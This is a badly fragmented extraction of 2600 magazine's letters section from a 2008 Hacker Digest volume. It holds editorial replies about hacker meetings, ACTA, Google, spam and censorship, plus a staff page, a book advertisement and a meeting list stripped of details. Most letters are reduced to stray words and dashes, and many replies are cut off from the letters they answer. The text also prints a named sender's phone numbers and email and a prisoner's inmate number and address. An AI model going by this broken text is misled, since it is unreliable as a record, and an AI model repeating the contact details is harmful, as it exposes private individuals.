Dr. Rolf Freitag
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There’s plenty of discussion about public key steg-
anography in various places on the net but we don’t 

Dear 2600:
-

bluSKR33N

Observations
Dear 2600:

1984 

-

John

Dear 2600:

Dr. No

is literally German.

Dear 2600:

drlecter

Dear 2600:

2600 

2600. I am 

PriesT

that’s something you can notice by poring through old 
material and getting into the spirit. This is also how 

to the present and future. Oftentimes that’s where the 
answer lies.

Dear 2600:

-
-

Oddlyeven

Dear 2600:
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-

-

Sn00py

conference was our biggest yet. But we still have 
a ton of space in the hotel and even some addi-
tional space that we have yet to use. We also want 
to avoid getting too big since that would ruin the 
magic.

Dear 2600:

aurfalien
Very few governments still beep when listening 

in on you. Be concerned when you hear nothing.

Dear 2600:

Manuel
It also doesn’t hurt to answer and tell you that 

we’d have to be insane to give out free shirts for every 
letter we publish. As for the photo, it’s backwards for 
a reason.

Dear 2600:

-

the original photo, and it seems to jut into the middle 

PF
Yes, you spotted something else that was altered 

about the photo: the old time radio building. It’s all 
part of our dying technology theme this year.

Dear 2600:

-
Make,

Norm

Gratitude
Dear 2600:

990.Tim
It’s great to hear that but give yourself the credit 

one of a variety of stimuli.

Dear 2600:
2600,

2600 

-

Max@MVCT
We prefer to let our readers decide for themselves 

who the morons are rather than have us label them so 

moronic letters at all.

Dear 2600:

issues as to whether 2600 would last long enough to 
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2600

2600.

2600

-

-

reading 2600
2600

just ordered The Best of 2600: A Hacker Odyssey 

Marcio

Dear 2600:

people who make 2600

-

2600. 

2600 mags 

-

2600,

Kikidotstrange
There’s no question that we have a lot of enemies 

in various places and their modus operandi is invari-
ably to try and silence those they disagree with or are 
uneasy living on the same planet with. It’s not entirely 
fair to assume that only bookstore workers are behind 
hiding our magazine. We wouldn’t be surprised if

there was an entire agency somewhere dedicated to 
visiting bookstores and hiding the most outrageous 
titles behind other less harmful ones. Well, we might 
be a little surprised. But the point is that anyone can 
do this and it’s up to the rest of us to make sure it 
doesn’t succeed in silencing us or anyone else. Thanks 
for having the strength to stick with us.

Dear 2600:

2600

-

-

-

Sebastian
You actually have ventured into the past more than 

most others simply by showing such an appreciation 
for the technology and the sense of wonder that this 
all started with. Having that link is essential for moving 
forward and discovering new things. It’s precisely this 
attitude that makes what we do worthwhile.
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Messages
Revelations
Dear 2600:

Pathogen
For the record, we would like to have an 

“entire article [that] could be written about the 
things you can do in here.” As no doubt our 
readers would too.
Dear 2600:

Quarx
Dear 2600:

Sai Emrys
Dear 2600:

is

Very Anonymous
Probably not the wisest use of that little 

security hole. But it does show that where there’s 
a will, there’s almost always a way.
Dear 2600:
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snowboarding will be used as an 

63585730

Dear 2600:

radio show Coast To Coast AM

lost signal was that the network satellite had lost 

Borked Pseudo Mailed
It makes for interesting radio but as always 

there are many unanswered questions and 
theories when dealing with this type of subject 
matter. One important fact is that this caller 
supposedly said it was all a big joke on a later 
program. This, of course, led others to conclude 
that he was now being controlled by the extra-
dimensional beings. And so it goes.

Alerts
Dear 2600:

2600 
Magazine.

2600

Mister Mods
Anyone can say they’re a part of anything. 

What continually amazes us is how someone 
can simply say they’re a hacker or a part of 2600, 
and most of the mass media will believe them 
by default. All it shows is how little the media 
understands who we are and what we stand 
for, as well as how little effort they’re willing to 
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Dear 2600:

-
ated with trouble mentioned in national news 

-

-

-

-

-

to speak with the manager listed on the letter 

J
We could say we’re surprised by these 

examples of ignorance and poor ethical 
practices but we’re not. They exist everywhere 
- in businesses, hospitals, government agencies, 
schools, you name it. All we can do is continue 
to expose them. Of course that means we’ll 

continue to get blamed for them. And so the 
cycle continues.
Dear 2600:

rosa
Naturally, we already knew.

Assorted Meeting Bits
Dear 2600:

 

up to date and help grow 2600’s Spokane 

Acetolyne
The websites for the meetings aren’t run 

by us but by people from those locations who 
are interested in helping. That could be you if 
you can put together a decent site and keep 
it updated. As it’s all a volunteer effort, we do 
occasionally have problems with sites that fall 
victim to attrition and apathy. Sometimes this 
even happens to the meetings themselves. That’s 
why we rely on people such as yourself to let 
us know when things aren’t working properly. 

can stop publicizing sites and meetings that 
aren’t working and throw our support behind 
people who take the time to help make things 

the opportunity exists for anyone interested in 
helping out to step forward. We hope to see this 
continue happening throughout the world.
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Dear 2600:

issue, and it makes me wonder how I thought 

time, and knowing that I will not be able to return 

I would also like to urge those out there who 

D. 
What you described was exactly the 

atmosphere that a 2600 meeting should foster. 
We’re very glad it worked out in your case and 
we encourage those of you who are regular 
attendees at a meeting to make sure new people 
go away with this impression. This is, after all, 
how we thrive.

Inquiries
Dear 2600:

members, engineers and network administrators, 

Angela Sherman
Wireshark University

We’re going to take a wild guess here and 
assume that you actually had no idea you were 
sending mail to our letters department when you 
emailed letters@2600.com and that this is some 
sort of publicity blitz. (We only printed a fraction 
of this letter so we sure hope you didn’t write all 
of that just for us.) For people who actually are 
interested in writing articles for 2600, third party 
agents and other such formalities aren’t necessary. 
Simply send your article to articles@2600.com. 
Please don’t send us mail asking us if we would 
like to receive your article when you actually get 
around to writing it. Just send it in. We’re also not 
going to go back and forth with you tweaking 
it into perfection. That’s the writer’s job. If it’s 
something you think hackers would get a kick out 
of, it is pretty much your moral obligation to send 
it in. We look forward to the deluge.
Dear 2600:

2600

Best of 2600

Crash the Greenhat
This is one of the dangers of taking a break 

from 2600, even a short one. Things change over 
time and during the time you were away we had 
all sorts of reader feedback on the subjects you 
mentioned. Some of it was quite passionate. 
Our readers are a lot happier with the old style 
spine since there were all manner of problems 
with the new one. And the puzzle just wasn’t 
getting a strong response, certainly not enough 
to justify the intense time and effort involved in 
creating them. However, we have started some 
new projects based on the feedback, including 

section, both of which have been getting a really 
good response. So please keep your ideas and 
suggestions pouring into our various mailboxes.
Dear 2600:
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Mario Chiesa
Simply click on South America and then 

Argentina and you should see the payphones. 
As for telephone numbers, we’ve never 
collected those, nor do we know of a site that 
has this information for Argentina. We’re certain 
someone will write in with this information if it 
exists.
Dear 2600:

frameloss
We have no problem with this since it’s 

something you wrote that was published. It only 
concerns us when people scan the entire issue 
as that adversely affects sales of the issue which 

We have a unique situation since we don’t have 
advertising which is how other magazines offset 
such expenses. We’re entirely dependent on 
reader support to keep going.
Dear 2600:

Mark
As long as your article isn’t showing up on 

a blog or website before it gets printed in our 
pages, what you do with it after that point is 
entirely up to you. We do appreciate a pointer 
when you do stick the article somewhere so 
that it doesn’t appear as if we’re leeching off the 

Dear 2600:

Wyllie
If you believe such a thing exists, then making 

that list as large as possible is the best known 

a list of this sort is out there, as we’ve heard all 

kinds of different versions of this fear expressed 
over three decades and we have yet to see 
any real evidence that supports the theory. But 
the danger of our surveillance state eventually 
reaching this degree of accountability certainly 
isn’t beyond the realm of possibility and it almost 
seems as if there are members of the public 
who actually want something like this. Clearly, 
we represent those people who don’t, and it’s 
only through education and constant vigilance 
that we can stave off such a nightmare for the 
foreseeable future. People being intimidated into 
not getting a copy of our magazine only moves 
us closer to the oppressive scenario dreaded by 
so many.
Dear 2600:

LiteralKa

such citations an honor. We wish you luck on 
the assignment.
Dear 2600:

Jeff
This question is always coming up and the 

answer really hasn’t changed over the years. In 
order to develop a hacker mindset, you simply 
have to have the desire to experiment, question 
whatever you’re told, and share information. 
There is no person who can teach you how 
to do this as it’s either your philosophy or it 

you’re interested in (technical or otherwise) by 
reading books, visiting websites, chatting with 

for meetings, there is no age restriction that we 
place on them but we understand it can be hard 
to get around at your age. This is why we try to 
make them as centrally located as possible. But 
obviously that isn’t always possible, especially 
outside of major cities. However, there’s almost 
always someone, even in the smallest and most 
remote locations, that you can share stories, 
experiences, and knowledge with. Schools, 
bookstores, and libraries are great places to 
bump into such people.
Dear 2600:
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2600

Pelik
You should have heard something by now. 

It does get a little delayed sometimes since it’s 
always pretty hectic when a new issue has gone 
out. But we do get in touch with everyone. If 

the next issue is out, then there’s reason to be 
concerned. We suggest that people make sure 
they’re emailing us from an account that’s likely 
to stick around for a while to avoid missing our 
email.
Dear 2600:

m0untainrebel
Yes, that would be the best way to go about 

something like this. As our readers have been 
quite clear on their feelings about code in our 
printed pages, we will continue to publish that 
sort of thing on the website which also makes 
it a whole lot easier to copy. Space isn’t a worry 
there.
Dear 2600:

Any suggestions?
Louis Martinez

We have suggestions but they’re not really 
printable. Sometimes it seems as if most of our 
mail is from people who have no idea what it 
is they’re mailing. And that’s not even counting 
the spam.
Dear 2600:

Elizabeth Greer
949-379-2022 or 949-300-3953

It takes a lot to get us angry. Unsolicited 
emails that make little sense don’t really get us 
upset in the least. Nor does having someone 

thing it made them think of was portable toilets. 
That’s a valid critique and we will defend to the 
death the right of someone to express it. We 
are a little frustrated that such an opportunity 
has apparently landed at our doorstep and we 

the world of toiletry to even attempt to bluff our 

supporting ourselves through the production of 
human excrement. But whatever.

None of that made us angry. What made us 
lose our cool here was something that happened 
after our auto-response was sent to the email 
address listed. See for yourself:

“From: Elizabeth Greer 
<elizabethg@inbox.com>

your email address

Hello,
You have reached Elizabeth Greer.
I’m protecting myself from receiving junk email 
by using Challenge/Response Spam Protection.
Please follow the directions below to make sure 
I receive the email you just sent me.”

This was followed by all sorts of directions 
that needed to be carried out to the letter in order 
for our mail not to be discarded. Now we’re not 
especially big fans of jumping through hoops in 

irony of spammers protecting themselves from 
spam and then bragging about it to the people 
that they just spammed while subtly implying 
that those very people may in fact be the true 
spammers was a bit much for our relatively level 
heads. We’ve already been in touch with some of 
the highest authorities in the toilet industry who 
don’t like to see their overwhelmingly positive 
image tarnished by such behavior. Needless to 
say, this isn’t over.
Dear 2600:

2600

Daniel
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Far be it from us to say your friend is full of 
anything but we don’t know of such a reference 
inside our pages. He could be referring to the 

which is dedicated to “bringing HD to life” 
and is suspected by some of being run by extra-
dimensional beings. Or perhaps he’s alluding to 
the small community in Hawaii. We wish you 
luck in solving the mystery.
Dear 2600:

Bavs
Most likely you are since that name hasn’t 

been available since 1999.
Dear 2600:

and I love

Apple Freak

Our conferences are open to everyone. They 
are a place of learning, sharing information, and 
making friends. Plus they’re just a load of fun 
for everyone concerned. So don’t worry about 
having to prove yourself. Just start planning for 
2010 now.
Dear 2600:

I was just wondering what 2600’s position on 

Dan
Little has been mentioned on ACTA because 

so little is known. The negotiations for this global 
agreement have been conducted in absolute 
secrecy which alone is great cause for concern. 
The goals of ACTA include stricter enforcement 
of copyright laws, the ability to search laptops 
and other devices at international borders in 

disclosure of private customer information from 
Internet Service Providers when violations are 
suspected. In short, it’s a very bad and ominous 
development that has global implications. The 

thing is to read the leaked ACTA material that 
has found its way onto wikileaks.org and to visit 
sites like www.ipjustice.org/acta for the latest 
info.

We’d like more details on just what that 

“malicious request” thing with Google is on our 
page. We’ve been unable to duplicate it and we 
tried to be really malicious.
Dear 2600:

William R. Epp
By all means, go for it. This is a site that 

provides information on 2600 articles over the 
years, including author info and a synopsis of 
each article. It’s one of the many things we’d love 
to be doing if only we had the time. Best of luck 
on this and thanks from us and the community.
Dear 2600:

Brady DeStefanis
Not anything, but taunting and obnoxious 

letters like this are hard to resist. As we already 
stated in our last issue, this was a major error that 
was caused by a computer problem that took 
place after the proofreading process. It probably 
upset us a lot more than anyone else. We 
reprinted the affected section and have taken 
steps to prevent this from happening again. But 
mistakes do occur. We look forward to hearing 
from you again after the next one.

Rants
Dear 2600:

very
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and security people know this - they 
simply ignore the fact.

they 

Robyn Adelaide
Dear 2600:

PMD
We encourage critical looks and analysis 

of all of our articles as this helps to further the 
discussion and correct any misconceptions or 
inaccuracies that may exist. We believe most 
readers would consider it their obligation to 
correct that which they see as wrong and, in 
so doing, achieve something positive. But it 
really annoys us no end when people assume 
that articles they don’t like are included simply 

to see things that don’t mesh with your ideals 
and you will read views that you violently 
disagree with. Hopefully this will instigate a 
needed dialogue and get people to think. It’s the 
thought-provoking discussions that truly serve 
our purpose, not just the printing of articles that 
we know everyone is going to agree with.
Dear 2600:

2600 but i was jut telling 

Greggg
In a few years, would you be kind enough to 

revisit this letter and tell us just what it meant? 
It might prove to be a fascinating study of some 
sort. It might also prove fruitless as we know a 
number of middle-aged people who also speak 
this dialect.
Dear 2600:

me
for them.
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AJ
Ohio

You certainly have the right attitude when 
dealing with these obnoxious idiots. You have a 
few options here. For one thing, assuming you 
ever did reach a human, you can tell them never 
to call you again, and they will be in violation of 
the law if they do. This applies even when they’re 
calling the right person who owes them money. 
Another option is to simply plug the phone 
number that showed up on your Caller ID into 
a search engine and see if anybody else has had 

people who did.
Dear 2600:

This is an important issue and the people 

This problem is bigger than just not being able to 

big problem 

a big

Unknown Unknown
There’s a lot to cover here but we’ll try to 

make it simple in the interests of space. Your 
concerns about the white space issue certainly 
have merit but we don’t see the evidence (yet) to 
support them. On one hand you say they won’t 
tell anyone about the censorship that’s going 
to be imposed and then you tell us how they 
justify it. If someone is in fact admitting to this, 
then it’s important to cite the source and give us 
all an opportunity to investigate and challenge. 
Censorship is something to be very concerned 
about which is why it’s important to focus on the 

may actually serve to get others to dismiss your 
points due to the lack of particulars.

We certainly are facing some interesting 
technical and social issues in the coming months 
and it will be fascinating to see what direction it 
all goes in. But as long as people remain vigilant 
and educated on the issues, free speech won’t 
be disappearing. Nor will anonymous phone 
calls.
Dear 2600:
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Crypto-Gram Monthly

Wired reported 

2600 readers know about this?

2600

2600

2600

2600 has remained 

2600, take a stand, 

someone?

CJ Hinke
Freedom Against Censorship Thailand (FACT)
We’re not often accused of being apolitical 

and not taking a stand on things like censorship 
and hacker persecution. But since you refer to 
us as “one of America’s biggest magazines,” we 
suspect you may in fact be reading the wrong 
publication. And it’s precisely because we’re 
not all that big that the various features you 
want aren’t yet in place. With time and support, 
there’s a great deal we can accomplish so don’t 
give up on us yet.

As for cell phone calls in Thailand (and other 
countries) not being charged to the called party, 
there is a tradeoff to this. Calls to cell phones in 
these countries cost more than calls to landlines. 
In the States and Canada, there is no such 
distinction. Of course, the question remains as 
to why it should cost more for anyone to make 
or receive a cell phone call in this day and age. 
Hopefully, this will be the next phone company 
rip-off to disappear.
Dear 2600:

Brainwaste
And we look forward to printing them. After 

Dear 2600:
I started reading 2600
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Larry Clements
It was neither. Since very few people these 

days who aren’t in prison send us handwritten 
mail and don’t do anything online, it’s rare that 
someone isn’t aware of the existence of our 
online store with the huge amount of items listed 
on it. (For those who remain unaware, it’s at 
store.2600.com.) There simply isn’t any way we 
could list all of the special deals that exist on the 
online store here in the magazine, although we 
do make many references to the store’s existence 
and encourage people to visit it. For people who 
can’t visit the store for whatever reason, we 

up doing in your case.

Praise
Dear 2600:

2600

drlecter
We all appreciate the kind words. We’re 

proud to be associated with people who add a 
high degree of professionalism and integrity to 

to the artists and writers, we’ve got an amazing 
crew and it’s nice to occasionally marvel at that. 
Thanks for getting us to do that.
Dear 2600:

A Hacker Odyssey
that 2600

scripter
Dear 2600:

The Best of 
2600.

Steve McLaughlin
Dear 2600:

SC The Best 
Of 2600

Nik
Thanks for letting us know. We always enjoy 

seeing reviews, especially the good ones.
Dear 2600:

LodeRunner

Dear 2600:

Andy
Don’t mention it. Clearly, it was the right 

thing to do. All of the angry mail made that 
crystal clear.

Google Bits
Dear 2600:

please? With sugar on top?
Pulse

If readers would like to suggest alternative 
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search engines that have anywhere near the 
comparable data that Google does, we’d like to 

any. (We did it anonymously to avoid a visit from 
the Google Goons.) We’d like to know more 
about your contention that Google is censoring 
information on alternative energy and other 

Dear 2600:

engine started sending me to sites based on a 

brian h.
Putting it in quotes seems to avoid the 

unwanted results. We are aware that Google has 
been making changes to the manner in which 
results pop up and not always in a good way. 
The best thing to do is bitch and gripe when this 
happens and you may get results.

From the Inside
Dear 2600:

not

to, and it was outstanding!

and 

2600 

2600 
 

        Rob
While we have nothing against fun and 

isn’t so much about mayhem but more about 
building a community and creating a memorable 
conference as we’ve now done seven times. 
Perhaps it’s the environment of New York City 
surrounding us that makes this happen or maybe 
it’s the large amount of Europeans attending who 

place. Whichever it is, we know you’ll have an 
amazing time.
Dear 2600:

2600

2600

2600.

2600: A Hacker Odyssey. I read all 



THE HACKER DIGEST - VOLUME 25    

272

 

 

 
 

 

Joseph
Dear 2600:

not

150 
percent

route and all the winners and losers hung out 

Looking around, I saw two bells and the striker 
 

out the rules and then bending those rules to 

Michael Earl Short
Rosharon, TX

Dear 2600:
Off The Hook,
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The New 
York Times

Johndillinger
It sounds like you have some stories to tell. 

We hope people can learn something from your 
experiences and that you won’t have any more 
such experiences once you get out.
Dear 2600:

Back to the Future,

any

David L. Williamson #22678-057
Federal Correctional Institution

PO Box 1000
Loretto, PA 15940

The Future
Dear 2600:

Star 
Wars nut, this was akin to throwing the emperor 

Phr0zenSane
Dear 2600:

sooner or later he would see me reading 2600, 

JP
You’re better off being honest about who 

you are and seeing if that poses a problem for 
people down the line. But when posed with such 
questions, we should make sure they understand 

may scare your future employers even more.
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Layout and Design
Skram
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2008  Staff

“The bigger the lie, the more they believe.” - Bunk

There’s no place like HOPE.” - random Last HOPE attendee, July 2008. 

“We live in a society exquisitely dependent on science and technology, in which hardly anyone knows 
anything about science and technology.” - Carl Sagan

“I think we agree, the past is over.” - George W. Bush

PRINTED EDITION CORRESPONDENCE:

LETTERS AND ARTICLE SUBMISSIONS:
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IT'S  HERE!

The 900 page collection of highlights from our 
24 years of publishing is now out, including 
all sorts of new commentary to go along with 
the historic material. Published by Wiley and 
available at bookstores everywhere, obtainable 
via amazon.com, bn.com, borders.com, and 

countless other sites throughout the world.
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MeetingsARGENTINA
Buenos Aires:

AUSTRALIA
Melbourne:

Sydney:
bistro, opposite the bus station area on 

AUSTRIA
Graz:

BRAZIL
Belo Horizonte:

CANADA
Alberta

Calgary:

British Columbia
Kamloops:

Manitoba
Winnipeg:

New Brunswick
Moncton:

Newfoundland
St. John’s:

Ontario
Guelph:

Ottawa:

Toronto:

Windsor:

Quebec
Montreal:

CHINA
Hong Kong:

CZECH REPUBLIC
Prague:

DENMARK
Aalborg:
Aarhus:

Copenhagen:
Sonderborg:

EGYPT
Port Said:

ENGLAND
Brighton:

Kent:

London:

Manchester:

Norwich:

FINLAND
Helsinki:

FRANCE
Lille:

Paris:

Rennes:

Rouen:

GREECE
Athens:

IRELAND
Dublin:

ITALY
Milan:

JAPAN
Tokyo:

MEXICO
Chetumal:

Mexico City:

NEW ZEALAND
Auckland:

Christchurch:

Wellington:
NORWAY

Oslo:
Tromsoe:

Trondheim:

PERU
Lima:

SOUTH AFRICA
Johannesburg (Sandton City): Sandton 

SWEDEN
Stockholm:

SWITZERLAND
Lausanne:

UNITED STATES
Alabama

Auburn: The student lounge upstairs in the 

Huntsville: Stanlieo’s Sub Villa on 

Tuscaloosa:

Arkansas
Ft. Smith:

Arizona
Phoenix:

California
Los Angeles:

Monterey:

Sacramento:

San Diego:

San Francisco:

San Jose:

Tustin:

Colorado
Boulder:

Lakewood:

District of Columbia
Arlington:

Florida
Gainesville:

Melbourne:

Tampa:

Georgia
Atlanta:

Hawaii
Hilo:

Idaho
Boise:

Pocatello:
Illinois

Chicago:

Indiana
Evansville:

Ft. Wayne:

Indianapolis:

Iowa
Ames:

Kansas
Kansas City (Overland Park):

Wichita:
Louisiana

Baton Rouge:

New Orleans:

Maine
Portland:

Maryland
Baltimore:

Massachusetts
Boston:

Marlborough:

Northampton:

Michigan
Ann Arbor:

Minnesota
Bloomington:

Missouri
Kansas City (Independence):

St. Louis:

Nebraska
Omaha:

Nevada
Las Vegas:

New Mexico
Albuquerque:

New York
New York:

Rochester:

North Carolina
Charlotte:

Raleigh:

North Dakota
Fargo:

Ohio
Cincinnati:

Cleveland:

Columbus:

Dayton:

Oklahoma
Oklahoma City:

Tulsa:
Oregon

Portland:

Pennsylvania
Allentown:

Harrisburg:

Philadelphia:

Pittsburgh:

State College:

South Carolina
Charleston:

South Dakota
Sioux Falls:

Tennessee
Knoxville:

Memphis:

Nashville:

Texas
Austin:

Houston:

Utah
Salt Lake City:

Vermont
Burlington:

Virginia
Arlington:
Blacksburg:

Charlottesville:

Virginia Beach:

Washington
Seattle:

Spokane:

Wisconsin
Madison:

All meetings take place on 

Unless otherwise noted, they 

start at 5 pm local time. To start 

a meeting in your city, send 

email to meetings@2600.com.
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